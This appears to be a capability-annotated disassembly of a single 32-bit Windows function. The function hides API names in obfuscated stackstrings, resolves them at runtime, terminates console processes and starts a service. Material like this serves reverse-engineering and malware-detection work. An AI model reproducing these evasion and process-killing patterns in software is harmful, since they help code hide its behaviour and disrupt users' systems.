Function at 0x1001f500
Capabilities:
Check os version
Contain obfuscated stackstrings
Get session information
Get session user name
Resolve function by parsing pe exports
Start service
Terminate process

Disassembly:
sub esp, 0x634
mov al, 0x45
push ebx
mov byte [esp + 9], al
mov byte [esp + 0xc], al
lea eax, [esp + 0x3c]
lea ecx, [esp + 8]
mov bl, 0x65
push eax
push ecx
mov byte [esp + 0x10], 0x4b
mov byte [esp + 0x12], 0x52
mov byte [esp + 0x13], 0x4e
mov byte [esp + 0x15], 0x4c
mov byte [esp + 0x16], 0x33
mov byte [esp + 0x17], 0x32
mov byte [esp + 0x18], 0x2e
mov byte [esp + 0x19], 0x64
mov byte [esp + 0x1a], 0x6c
mov byte [esp + 0x1b], 0x6c
mov byte [esp + 0x1c], 0
mov byte [esp + 0x44], 0x50
mov byte [esp + 0x45], 0x72
mov byte [esp + 0x46], 0x6f
mov byte [esp + 0x47], 0x63
mov byte [esp + 0x48], bl
mov byte [esp + 0x49], 0x73
mov byte [esp + 0x4a], 0x73
mov byte [esp + 0x4b], 0x49
mov byte [esp + 0x4c], 0x64
mov byte [esp + 0x4d], 0x54
mov byte [esp + 0x4e], 0x6f
mov byte [esp + 0x4f], 0x53
mov byte [esp + 0x50], bl
mov byte [esp + 0x51], 0x73
mov byte [esp + 0x52], 0x73
mov byte [esp + 0x53], 0x69
mov byte [esp + 0x54], 0x6f
mov byte [esp + 0x55], 0x6e
mov byte [esp + 0x56], 0x49
mov byte [esp + 0x57], 0x64
mov byte [esp + 0x58], 0
call fcn.1001d6c0
mov dword [esp + 0x94], eax
lea edx, [esp + 0x5c]
lea eax, [esp + 0x10]
push edx
push eax
mov byte [esp + 0x64], 0x57
mov byte [esp + 0x65], 0x54
mov byte [esp + 0x66], 0x53
mov byte [esp + 0x67], 0x47
mov byte [esp + 0x68], bl
mov byte [esp + 0x69], 0x74
mov byte [esp + 0x6a], 0x41
mov byte [esp + 0x6b], 0x63
mov byte [esp + 0x6c], 0x74
mov byte [esp + 0x6d], 0x69
mov byte [esp + 0x6e], 0x76
mov byte [esp + 0x6f], bl
mov byte [esp + 0x70], 0x43
mov byte [esp + 0x71], 0x6f
mov byte [esp + 0x72], 0x6e
mov byte [esp + 0x73], 0x73
mov byte [esp + 0x74], 0x6f
mov byte [esp + 0x75], 0x6c
mov byte [esp + 0x76], bl
mov byte [esp + 0x77], 0x53
mov byte [esp + 0x78], bl
mov byte [esp + 0x79], 0x73
mov byte [esp + 0x7a], 0x73
mov byte [esp + 0x7b], 0x69
mov byte [esp + 0x7c], 0x6f
mov byte [esp + 0x7d], 0x6e
mov byte [esp + 0x7e], 0x49
mov byte [esp + 0x7f], 0x64
mov byte [esp + 0x80], 0
call fcn.1001d6c0
mov dword [esp + 0xa0], eax
mov byte [esp + 0x28], 0x41
mov byte [esp + 0x29], 0x44
mov byte [esp + 0x2a], 0x56
lea ecx, [esp + 0x38]
lea edx, [esp + 0x28]
push ecx
push edx
mov byte [esp + 0x33], 0x41
mov byte [esp + 0x34], 0x50
mov byte [esp + 0x35], 0x49
mov byte [esp + 0x36], 0x33
mov byte [esp + 0x37], 0x32
mov byte [esp + 0x38], 0x2e
mov byte [esp + 0x39], 0x64
mov byte [esp + 0x3a], 0x6c
mov byte [esp + 0x3b], 0x6c
mov byte [esp + 0x3c], 0
mov byte [esp + 0x40], 0x53
mov byte [esp + 0x41], bl
mov byte [esp + 0x42], 0x74
mov byte [esp + 0x43], 0x53
mov byte [esp + 0x44], bl
mov byte [esp + 0x45], 0x72
mov byte [esp + 0x46], 0x76
mov byte [esp + 0x47], 0x69
mov byte [esp + 0x48], 0x63
mov byte [esp + 0x49], bl
mov byte [esp + 0x4a], 0x53
mov byte [esp + 0x4b], 0x74
mov byte [esp + 0x4c], 0x61
mov byte [esp + 0x4d], 0x74
mov byte [esp + 0x4e], 0x75
mov byte [esp + 0x4f], 0x73
mov byte [esp + 0x50], 0
call fcn.1001d6c0
mov dword [esp + 0x94], eax
mov eax, dword [0x1013140c]
xor ebx, ebx
add esp, 0x18
cmp eax, ebx
jne 0x1001fa7a
cmp dword [0x10131414], ebx
je 0x1001fa7a
push ebp
push esi
lea eax, [esp + 0xa0]
push edi
push eax
mov dword [esp + 0xa8], 0x9c
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea ecx, [esp + 0xb0]
lea edx, [esp + 0xac]
push ecx
lea eax, [esp + 0xac]
push edx
push eax
call fcn.1001ca70
add esp, 0xc
lea ecx, [esp + 0x140]
push 0x104
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x140]
lea eax, [esp + 0x244]
push edx
push str._s__acsi
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
mov dword [esp + 0x80], ebx
mov ecx, dword [esp + 0x648]
push ecx
call dword [sym.imp.KERNEL32.dll_Sleep]
lea edx, [esp + 0x80]
push edx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
call dword [esp + 0xa0]
test eax, eax
je 0x1001f7a9
call dword [esp + 0x9c]
cmp eax, 0xffffffff
je 0x1001f7a9
cmp dword [esp + 0x80], eax
je 0x1001f7a9
lea ecx, [esp + 0x90]
lea edx, [esp + 0x84]
push ecx
push edx
push 5
push eax
push ebx
mov dword [esp + 0x24], ebx
mov dword [esp + 0xa0], str._rsvc
mov dword [esp + 0x98], ebx
mov dword [esp + 0xa4], ebx
call sub.WTSAPI32.dll_WTSQuerySessionInformationA
test eax, eax
je 0x1001f845
mov edx, dword [esp + 0x84]
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
jne 0x1001f83d
mov dword [esp + 0x10], 1
push edx
call sub.WTSAPI32.dll_WTSFreeMemory
jmp 0x1001f84d
mov dword [esp + 0x10], 1
cmp dword [0x101326f8], ebx
je 0x1001f85f
cmp dword [esp + 0x10], ebx
jne 0x1001f7a9
mov eax, dword [0x10132b4c]
mov edi, dword [eax]
cmp edi, eax
je 0x1001f97f
mov eax, dword [edi + 0xc]
mov esi, dword [sym.imp.KERNEL32.dll_AttachConsole]
push eax
call esi
test eax, eax
jne 0x1001f890
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [edi + 0xc]
push ecx
call esi
test eax, eax
je 0x1001f87e
mov ebp, dword [sym.imp.KERNEL32.dll_GetConsoleProcessList]
lea edx, [esp + 0xa0]
push 1
push edx
call ebp
mov esi, eax
cmp esi, 1
jbe 0x1001f916
lea eax, [esi*4]
push eax
call sub.MFC42.DLL_operatornew
add esp, 4
mov ebx, eax
mov dword [esp + 0x94], ebx
push esi
push ebx
call ebp
test esi, esi
jbe 0x1001f90b
mov ebp, esi
mov esi, dword [ebx]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp esi, eax
je 0x1001f8fe
cmp esi, dword [edi + 0xc]
je 0x1001f8fe
push esi
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x1001f8fe
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
add ebx, 4
dec ebp
jne 0x1001f8cc
mov ebx, dword [esp + 0x94]
push ebx
call sub.MFC42.DLL_operatordelete
add esp, 4
xor ebx, ebx
mov esi, dword [sym.imp.KERNEL32.dll_FreeConsole]
call esi
test eax, eax
jne 0x1001f930
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
call esi
test eax, eax
je 0x1001f922
mov ecx, dword [edi + 0x10]
push ebx
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, dword [edi + 8]
mov edx, dword [0x10131148]
cmp ecx, edx
je 0x1001f95a
mov eax, dword [ecx]
cmp eax, edx
je 0x1001f956
mov ecx, eax
mov eax, dword [ecx]
cmp eax, edx
jne 0x1001f94e
mov edi, ecx
jmp 0x1001f973
mov eax, dword [edi + 4]
cmp edi, dword [eax + 8]
jne 0x1001f96c
mov edi, eax
mov eax, dword [eax + 4]
cmp edi, dword [eax + 8]
je 0x1001f962
cmp dword [edi + 8], eax
je 0x1001f973
mov edi, eax
cmp edi, dword [0x10132b4c]
jne 0x1001f86e
mov edx, dword [0x101326dc]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edx
call esi
mov eax, dword [0x101326e0]
push eax
call esi
cmp dword [0x101326f8], ebx
jne 0x1001fa24
mov eax, dword [esp + 0xa8]
cmp eax, 6
jne 0x1001f9be
cmp dword [esp + 0xac], 2
jae 0x1001fa57
jmp 0x1001f9c4
ja 0x1001fa57
push 0x20000
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
cmp edi, ebx
je 0x1001f7a9
push 0x10
push 0x1013186c
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
cmp esi, ebx
jne 0x1001f9fb
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x1001f7a9
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x8c]
push ecx
push edx
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jne 0x1001fa6b
call esi
push edi
call esi
jmp 0x1001f7a9
lea eax, [esp + 0x244]
push eax
push ebx
call fcn.1001ec30
add esp, 8
push eax
call esi
mov ecx, dword [0x101326f8]
push 0x10131850
push ecx
mov dword [0x10131854], 1
call dword [esp + 0x90]
jmp 0x1001fa70
lea edx, [esp + 0x244]
push edx
push ebx
call fcn.1001ec30
add esp, 8
push eax
jmp 0x1001fa6e
call esi
push edi
call esi
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
xor eax, eax
pop ebx
add esp, 0x634
ret 4